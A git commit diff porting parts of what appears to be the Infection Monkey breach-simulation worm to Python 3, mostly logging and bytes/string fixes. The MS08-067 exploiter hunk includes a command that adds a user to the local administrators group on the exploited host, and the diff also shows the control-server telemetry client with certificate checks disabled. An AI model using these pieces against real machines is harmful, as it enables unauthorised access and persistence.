More python3 fixes
This commit is contained in:
parent
f60cdd116b
commit
c0f661d337
|
@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
import infection_monkey.tunnel as tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
from infection_monkey.config import WormConfiguration, GUID
|
from infection_monkey.config import WormConfiguration, GUID
|
||||||
from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT
|
from infection_monkey.network.info import local_ips, check_internet_access
|
||||||
from infection_monkey.transport.http import HTTPConnectProxy
|
from infection_monkey.transport.http import HTTPConnectProxy
|
||||||
from infection_monkey.transport.tcp import TcpProxy
|
from infection_monkey.transport.tcp import TcpProxy
|
||||||
|
|
||||||
|
@ -85,7 +85,7 @@ class ControlClient(object):
|
||||||
|
|
||||||
except ConnectionError as exc:
|
except ConnectionError as exc:
|
||||||
current_server = ""
|
current_server = ""
|
||||||
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
LOG.warning("Error connecting to control server %s: %s", server, exc)
|
||||||
|
|
||||||
if current_server:
|
if current_server:
|
||||||
return True
|
return True
|
||||||
|
@ -112,13 +112,13 @@ class ControlClient(object):
|
||||||
monkey = {}
|
monkey = {}
|
||||||
if ControlClient.proxies:
|
if ControlClient.proxies:
|
||||||
monkey['tunnel'] = ControlClient.proxies.get('https')
|
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||||
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
|
||||||
data=json.dumps(monkey),
|
data=json.dumps(monkey),
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
@ -129,13 +129,13 @@ class ControlClient(object):
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
|
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
|
||||||
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
|
||||||
data=json.dumps(telemetry),
|
data=json.dumps(telemetry),
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -144,13 +144,13 @@ class ControlClient(object):
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)}
|
telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)}
|
||||||
reply = requests.post("https://%s/api/log" % (WormConfiguration.current_server,),
|
requests.post("https://%s/api/log" % (WormConfiguration.current_server,),
|
||||||
data=json.dumps(telemetry),
|
data=json.dumps(telemetry),
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -163,7 +163,7 @@ class ControlClient(object):
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -191,7 +191,7 @@ class ControlClient(object):
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
|
LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -261,7 +261,7 @@ class ControlClient(object):
|
||||||
return dest_file
|
return dest_file
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -288,7 +288,7 @@ class ControlClient(object):
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to control server %s: %s",
|
LOG.warning("Error connecting to control server %s: %s",
|
||||||
WormConfiguration.current_server, exc)
|
WormConfiguration.current_server, exc)
|
||||||
|
|
||||||
return None, None
|
return None, None
|
||||||
|
|
|
@ -26,7 +26,7 @@ else:
|
||||||
try:
|
try:
|
||||||
WindowsError
|
WindowsError
|
||||||
except NameError:
|
except NameError:
|
||||||
WindowsError = None
|
WindowsError = IOError
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -104,14 +104,14 @@ class MonkeyDrops(object):
|
||||||
try:
|
try:
|
||||||
ref_stat = os.stat(dropper_date_reference_path)
|
ref_stat = os.stat(dropper_date_reference_path)
|
||||||
except OSError as exc:
|
except OSError as exc:
|
||||||
LOG.warn("Cannot set reference date using '%s', file not found",
|
LOG.warning("Cannot set reference date using '%s', file not found",
|
||||||
dropper_date_reference_path)
|
dropper_date_reference_path)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
os.utime(self._config['destination_path'],
|
os.utime(self._config['destination_path'],
|
||||||
(ref_stat.st_atime, ref_stat.st_mtime))
|
(ref_stat.st_atime, ref_stat.st_mtime))
|
||||||
except:
|
except:
|
||||||
LOG.warn("Cannot set reference date to destination file")
|
LOG.warning("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_options =\
|
monkey_options =\
|
||||||
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
||||||
|
@ -135,7 +135,7 @@ class MonkeyDrops(object):
|
||||||
|
|
||||||
time.sleep(3)
|
time.sleep(3)
|
||||||
if monkey_process.poll() is not None:
|
if monkey_process.poll() is not None:
|
||||||
LOG.warn("Seems like monkey died too soon")
|
LOG.warning("Seems like monkey died too soon")
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -12,7 +12,8 @@ class HostExploiter(object, metaclass=ABCMeta):
|
||||||
# Usual values are 'vulnerability' or 'brute_force'
|
# Usual values are 'vulnerability' or 'brute_force'
|
||||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
|
|
||||||
@abstractproperty
|
@property
|
||||||
|
@abstractmethod
|
||||||
def _EXPLOITED_SERVICE(self):
|
def _EXPLOITED_SERVICE(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,6 @@ from infection_monkey.exploit import HostExploiter
|
||||||
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
|
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
|
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
|
||||||
from infection_monkey.model import DROPPER_ARG
|
from infection_monkey.model import DROPPER_ARG
|
||||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
|
||||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
||||||
|
|
||||||
|
|
|
@ -125,7 +125,7 @@ class SmbExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
scmr_rpc.connect()
|
scmr_rpc.connect()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
LOG.warning("Error connecting to SCM on exploited machine %r: %s",
|
||||||
self.host, exc)
|
self.host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
|
@ -191,11 +191,11 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
sock = exploit.start()
|
sock = exploit.start()
|
||||||
|
|
||||||
sock.send("cmd /c (net user %s %s /add) &&"
|
sock.send("cmd /c (net user {} {} /add) &&"
|
||||||
" (net localgroup administrators %s /add)\r\n" %
|
" (net localgroup administrators {} /add)\r\n".format(
|
||||||
(self._config.user_to_add,
|
self._config.user_to_add,
|
||||||
self._config.remote_user_pass,
|
self._config.remote_user_pass,
|
||||||
self._config.user_to_add))
|
self._config.user_to_add).encode())
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
reply = sock.recv(1000)
|
reply = sock.recv(1000)
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,6 @@ import sys
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import infection_monkey.tunnel as tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
|
||||||
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
|
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
|
||||||
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
|
@ -1,4 +1,3 @@
|
||||||
import sys
|
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import psutil
|
import psutil
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
import logging
|
import logging
|
||||||
import os
|
|
||||||
import random
|
import random
|
||||||
import string
|
import string
|
||||||
import subprocess
|
import subprocess
|
||||||
|
|
|
@ -25,7 +25,8 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
|
||||||
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
|
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
|
||||||
ControlClient.send_telemetry(self.telem_category, data)
|
ControlClient.send_telemetry(self.telem_category, data)
|
||||||
|
|
||||||
@abc.abstractproperty
|
@property
|
||||||
|
@abc.abstractmethod
|
||||||
def telem_category(self):
|
def telem_category(self):
|
||||||
"""
|
"""
|
||||||
:return: Telemetry type
|
:return: Telemetry type
|
||||||
|
|
|
@ -48,7 +48,7 @@ def _check_tunnel(address, port, existing_sock=None):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.sendto("+", (address, MCAST_PORT))
|
sock.sendto(b"+", (address, MCAST_PORT))
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Caught exception in tunnel registration: %s", exc)
|
LOG.debug("Caught exception in tunnel registration: %s", exc)
|
||||||
|
|
||||||
|
@ -71,13 +71,13 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
||||||
try:
|
try:
|
||||||
LOG.info("Trying to find using adapter %s", adapter)
|
LOG.info("Trying to find using adapter %s", adapter)
|
||||||
sock = _set_multicast_socket(timeout, adapter)
|
sock = _set_multicast_socket(timeout, adapter)
|
||||||
sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
|
sock.sendto(b"?", (MCAST_GROUP, MCAST_PORT))
|
||||||
tunnels = []
|
tunnels = []
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
answer, address = sock.recvfrom(BUFFER_READ)
|
answer, address = sock.recvfrom(BUFFER_READ)
|
||||||
if answer not in ['?', '+', '-']:
|
if answer not in [b'?', b'+', b'-']:
|
||||||
tunnels.append(answer)
|
tunnels.append(answer)
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
break
|
break
|
||||||
|
@ -102,7 +102,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
||||||
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
|
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
|
||||||
try:
|
try:
|
||||||
sock = _set_multicast_socket(timeout)
|
sock = _set_multicast_socket(timeout)
|
||||||
sock.sendto("-", (address, MCAST_PORT))
|
sock.sendto(b"-", (address, MCAST_PORT))
|
||||||
sock.close()
|
sock.close()
|
||||||
LOG.debug("Success quitting tunnel")
|
LOG.debug("Success quitting tunnel")
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
|
@ -147,17 +147,17 @@ class MonkeyTunnel(Thread):
|
||||||
while not self._stopped:
|
while not self._stopped:
|
||||||
try:
|
try:
|
||||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||||
if '?' == search:
|
if b'?' == search:
|
||||||
ip_match = get_interface_to_target(address[0])
|
ip_match = get_interface_to_target(address[0])
|
||||||
if ip_match:
|
if ip_match:
|
||||||
answer = '%s:%d' % (ip_match, self.local_port)
|
answer = '%s:%d' % (ip_match, self.local_port)
|
||||||
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
||||||
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT))
|
||||||
elif '+' == search:
|
elif b'+' == search:
|
||||||
if not address[0] in self._clients:
|
if not address[0] in self._clients:
|
||||||
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
|
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
|
||||||
self._clients.append(address[0])
|
self._clients.append(address[0])
|
||||||
elif '-' == search:
|
elif b'-' == search:
|
||||||
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||||
self._clients = [client for client in self._clients if client != address[0]]
|
self._clients = [client for client in self._clients if client != address[0]]
|
||||||
|
|
||||||
|
@ -170,7 +170,7 @@ class MonkeyTunnel(Thread):
|
||||||
while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT):
|
while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT):
|
||||||
try:
|
try:
|
||||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||||
if '-' == search:
|
if b'-' == search:
|
||||||
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||||
self._clients = [client for client in self._clients if client != address[0]]
|
self._clients = [client for client in self._clients if client != address[0]]
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
|
|
Loading…
Reference in New Issue